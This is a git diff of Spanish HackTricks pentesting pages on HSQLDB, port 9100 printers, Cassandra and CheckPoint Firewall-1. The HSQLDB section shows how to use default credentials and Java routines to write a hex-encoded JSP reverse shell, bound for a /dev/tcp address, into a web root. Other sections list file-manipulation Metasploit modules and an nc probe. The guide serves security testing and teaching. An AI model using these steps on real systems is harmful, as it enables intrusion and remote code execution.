* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Información Básica
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** es el principal sistema de base de datos relacional SQL escrito en Java. Ofrece un motor de base de datos pequeño, rápido, multihilo y transaccional con tablas en memoria y basadas en disco, y admite modos integrados y de servidor.
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** es el sistema de base de datos relacional SQL líder escrito en Java. Ofrece un motor de base de datos pequeño, rápido, multihilo y transaccional con tablas en memoria y basadas en disco, y soporta modos embebidos y de servidor.
**Puerto predeterminado:** 9001
**Puerto por defecto:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
@ -25,33 +26,33 @@ Otras formas de apoyar a HackTricks:
### Configuraciones Predeterminadas
Ten en cuenta que por defecto este servicio probablemente se esté ejecutando en memoria o está enlazado a localhost. Si lo encontraste, probablemente has explotado otro servicio y estás buscando escalar privilegios.
Ten en cuenta que por defecto este servicio probablemente esté ejecutándose en memoria o esté vinculado a localhost. Si lo encontraste, probablemente explotaste otro servicio y estás buscando escalar privilegios.
Las credenciales por defecto suelen ser `sa` con una contraseña en blanco.
Las credenciales predeterminadas suelen ser `sa` con una contraseña en blanco.
Si has explotado otro servicio, busca posibles credenciales usando
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
Ten en cuenta el nombre de la base de datos cuidadosamente, lo necesitarás para conectarte.
Note el nombre de la base de datos cuidadosamente - lo necesitará para conectarse.
# Recopilación de información
# Info Gathering
Conéctate a la instancia de la base de datos descargando HSQLDB y extrayendo `hsqldb/lib/hsqldb.jar` desde [aquí](https://sourceforge.net/projects/hsqldb/files/). Ejecuta la aplicación GUI \(eww\) usando `java -jar hsqldb.jar` y conéctate a la instancia utilizando las credenciales descubiertas/débiles.
Conéctese a la instancia de la base de datos descargando [HSQLDB](https://sourceforge.net/projects/hsqldb/files/) y extrayendo `hsqldb/lib/hsqldb.jar`. Ejecute la aplicación GUI \(eww\) usando `java -jar hsqldb.jar` y conéctese a la instancia utilizando las credenciales descubiertas/débiles.
Ten en cuenta que la URL de conexión se verá algo así para un sistema remoto: `jdbc:hsqldb:hsql://ip/DBNAME`.
Tenga en cuenta que la URL de conexión se verá algo así para un sistema remoto: `jdbc:hsqldb:hsql://ip/DBNAME`.
# Trucos
# Tricks
## Rutinas de lenguaje Java
## Java Language Routines
Podemos llamar métodos estáticos de una clase Java desde HSQLDB utilizando Rutinas de Lenguaje Java. Ten en cuenta que la clase llamada debe estar en el classpath de la aplicación.
Podemos llamar a métodos estáticos de una clase de Java desde HSQLDB usando Java Language Routines. Tenga en cuenta que la clase llamada necesita estar en el classpath de la aplicación.
Las JRT pueden ser `funciones` o `procedimientos`. Las funciones pueden ser llamadas a través de declaraciones SQL si el método Java devuelve una o más variables primitivas compatibles con SQL. Se invocan utilizando la declaración `VALUES`.
JRTs pueden ser `functions` o `procedures`. Las funciones pueden ser llamadas a través de declaraciones SQL si el método de Java devuelve una o más variables primitivas compatibles con SQL. Se invocan usando la declaración `VALUES`.
Si el método Java que queremos llamar devuelve void, necesitamos usar un procedimiento invocado con la declaración `CALL`.
Si el método de Java que queremos llamar devuelve void, necesitamos usar un procedimiento invocado con la declaración `CALL`.
## Leyendo Propiedades del Sistema Java
## Reading Java System Properties
Crear función:
```text
@ -65,9 +66,9 @@ VALUES(getsystemproperty('user.name'))
```
Puedes encontrar una [lista de propiedades del sistema aquí](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
## Escribir Contenido en un Archivo
## Escribir contenido en un archivo
Puedes usar el gadget Java `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` ubicado en el JDK \(cargado automáticamente en la ruta de clases de la aplicación\) para escribir elementos codificados en hexadecimal en el disco a través de un procedimiento personalizado. **Ten en cuenta el tamaño máximo de 1024 bytes**.
Puedes usar el `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` gadget de Java ubicado en el JDK \(cargado automáticamente en el class path de la aplicación\) para escribir elementos codificados en hex en el disco a través de un procedimiento personalizado. **Nota el tamaño máximo de 1024 bytes**.
Crear procedimiento:
```text
@ -79,16 +80,17 @@ Ejecutar procedimiento:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Información Básica
Desde [aquí](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing): La impresión en bruto es lo que definimos como el proceso de establecer una conexión al puerto 9100/tcp de una impresora de red. Es el método predeterminado utilizado por CUPS y la arquitectura de impresión de Windows para comunicarse con impresoras de red, ya que se considera como '_el protocolo de red más simple, rápido y generalmente más confiable utilizado para impresoras_'. La impresión en bruto en el puerto 9100, también conocida como JetDirect, AppSocket o flujo de datos PDL, en realidad **no es un protocolo de impresión en sí mismo**. En cambio, **todos los datos enviados son procesados directamente por el dispositivo de impresión**, al igual que una conexión paralela sobre TCP. A diferencia de LPD, IPP y SMB, esto puede enviar comentarios directos al cliente, incluidos mensajes de estado y error. Un **canal bidireccional** como este nos brinda un **acceso directo** a los **resultados** de los comandos **PJL**, **PostScript** o **PCL**. Por lo tanto, la impresión en bruto en el puerto 9100, que es compatible con casi cualquier impresora de red, se utiliza como el canal para el análisis de seguridad con PRET y PFT.
Desde [aquí](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing): La impresión en crudo es lo que definimos como el proceso de hacer una conexión al puerto 9100/tcp de una impresora de red. Es el método predeterminado utilizado por CUPS y la arquitectura de impresión de Windows para comunicarse con impresoras de red, ya que se considera como _el protocolo de red más simple, rápido y generalmente más confiable utilizado para impresoras_. La impresión en crudo por el puerto 9100, también conocida como JetDirect, AppSocket o PDL-datastream, en realidad **no es un protocolo de impresión por sí mismo**. En cambio, **todos los datos enviados son procesados directamente por el dispositivo de impresión**, al igual que una conexión paralela a través de TCP. En contraste con LPD, IPP y SMB, esto puede enviar retroalimentación directa al cliente, incluyendo mensajes de estado y error. Tal **canal bidireccional** nos da **acceso** directo a los **resultados** de los comandos **PJL**, **PostScript** o **PCL**. Por lo tanto, la impresión en crudo por el puerto 9100 que es soportada por casi cualquier impresora de red se utiliza como el canal para el análisis de seguridad con PRET y PFT.
Si deseas aprender más sobre [**hacking de impresoras lee esta página**](http://hacking-printers.net/wiki/index.php/Main_Page).
Si deseas aprender más sobre [**hackear impresoras, lee esta página**](http://hacking-printers.net/wiki/index.php/Main_Page).
**Puerto predeterminado:** 9100
```
@ -57,9 +58,9 @@ msf> use auxiliary/scanner/printer/printer_download_file
msf> use auxiliary/scanner/printer/printer_upload_file
msf> use auxiliary/scanner/printer/printer_delete_file
```
## Herramienta de hacking para impresoras
## Herramienta de hacking de impresoras
Esta es la herramienta que deseas utilizar para abusar de las impresoras:
Esta es la herramienta que quieres usar para abusar de impresoras:
{% embed url="https://github.com/RUB-NDS/PRET" %}
@ -68,16 +69,17 @@ Esta es la herramienta que deseas utilizar para abusar de las impresoras:
* `pjl port:9100`
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# 9042/9160 - Pentesting Cassandra
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Información Básica
**Apache Cassandra** es una base de datos distribuida **altamente escalable** y de **alto rendimiento** diseñada para manejar **grandes cantidades de datos** en muchos **servidores de baja calidad**, proporcionando **alta disponibilidad** sin **punto único de fallo**. Es un tipo de **base de datos NoSQL**.
**Apache Cassandra** es una **base de datos distribuida** **altamente escalable** y **de alto rendimiento** diseñada para manejar **grandes cantidades de datos** a través de muchos **servidores comunes**, proporcionando **alta disponibilidad** sin **punto único de falla**. Es un tipo de **base de datos NoSQL**.
En varios casos, es posible que encuentres que Cassandra acepta **cualquier credencial** (ya que no hay ninguna configurada) y esto podría potencialmente permitir a un atacante **enumerar** la base de datos.
En varios casos, puede encontrar que Cassandra acepta **cualquier credencial** (ya que no hay ninguna configurada) y esto podría permitir potencialmente a un atacante **enumerar** la base de datos.
**Puerto predeterminado:** 9042,9160
**Puerto por defecto:** 9042,9160
```
PORT STATE SERVICE REASON
9042/tcp open cassandra-native Apache Cassandra 3.10 or later (native protocol versions 3/v3, 4/v4, 5/v5-beta)
@ -49,23 +50,24 @@ No hay muchas opciones aquí y nmap no obtiene mucha información.
```bash
nmap -sV --script cassandra-info -p <PORT> <IP>
```
### [**Ataque de fuerza bruta**](../generic-methodologies-and-resources/brute-force.md#cassandra)
### [**Fuerza bruta**](../generic-methodologies-and-resources/brute-force.md#cassandra)
### **Shodan**
`port:9160 Cluster`\
`port:9042 "Versión de protocolo no válida o no compatible"`
`port:9042 "Versión de protocolo no válida o no soportada"`
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Es posible interactuar con los firewalls de **CheckPoint Firewall-1** para descubrir información valiosa como el nombre del firewall y el nombre de la estación de gestión. Esto se puede hacer enviando una consulta al puerto **264/TCP**.
Es posible interactuar con los firewalls de **CheckPoint** **Firewall-1** para descubrir información valiosa, como el nombre del firewall y el nombre de la estación de gestión. Esto se puede hacer enviando una consulta al puerto **264/TCP**.
### Obtención de los Nombres del Firewall y la Estación de Gestión
### Obtención de Nombres de Firewall y Estación de Gestión
Utilizando una solicitud de pre-autenticación, puedes ejecutar un módulo que apunte al **CheckPoint Firewall-1**. A continuación se detallan los comandos necesarios para esta operación:
Utilizando una solicitud de pre-autenticación, puedes ejecutar un módulo que apunte al **CheckPoint Firewall-1**. Los comandos necesarios para esta operación se describen a continuación:
```bash
use auxiliary/gather/checkpoint_hostname
set RHOST 10.10.10.10
```
Al ejecutarse, el módulo intenta contactar el servicio de Topología SecuRemote del firewall. Si tiene éxito, confirma la presencia de un Firewall de CheckPoint y recupera los nombres tanto del firewall como del host de gestión SmartCenter. Aquí tienes un ejemplo de cómo podría verse la salida:
Al ejecutarse, el módulo intenta contactar el servicio de Topología SecuRemote del firewall. Si tiene éxito, confirma la presencia de un CheckPoint Firewall y recupera los nombres tanto del firewall como del host de gestión SmartCenter. Aquí hay un ejemplo de cómo podría verse la salida:
```text
[*] Attempting to contact Checkpoint FW1 SecuRemote Topology service...
[+] Appears to be a CheckPoint Firewall...
@ -30,13 +31,13 @@ Al ejecutarse, el módulo intenta contactar el servicio de Topología SecuRemote
[+] SmartCenter Host: FIREFIGHTER-MGMT.example.com
[*] Auxiliary module execution completed
```
### Método Alternativo para Descubrir el Nombre del Host y el Nombre de ICA
### Método Alternativo para el Descubrimiento de Nombre de Host y Nombre ICA
Otra técnica implica un comando directo que envía una consulta específica al firewall y analiza la respuesta para extraer el nombre del host y el nombre de ICA del firewall. El comando y su estructura son los siguientes:
Otra técnica implica un comando directo que envía una consulta específica al firewall y analiza la respuesta para extraer el nombre de host del firewall y el nombre ICA. El comando y su estructura son los siguientes:
```bash
printf '\x51\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x0bsecuremote\x00' | nc -q 1 10.10.10.10 264 | grep -a CN | cut -c 2-
```
La salida de este comando proporciona información detallada sobre el nombre del certificado (CN) y la organización (O) del firewall, como se muestra a continuación:
La salida de este comando proporciona información detallada sobre el nombre del certificado del firewall (CN) y la organización (O), como se demuestra a continuación:
```text
CN=Panama,O=MGMTT.srv.rxfrmi
```
@ -47,16 +48,17 @@ CN=Panama,O=MGMTT.srv.rxfrmi
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,25 +1,26 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
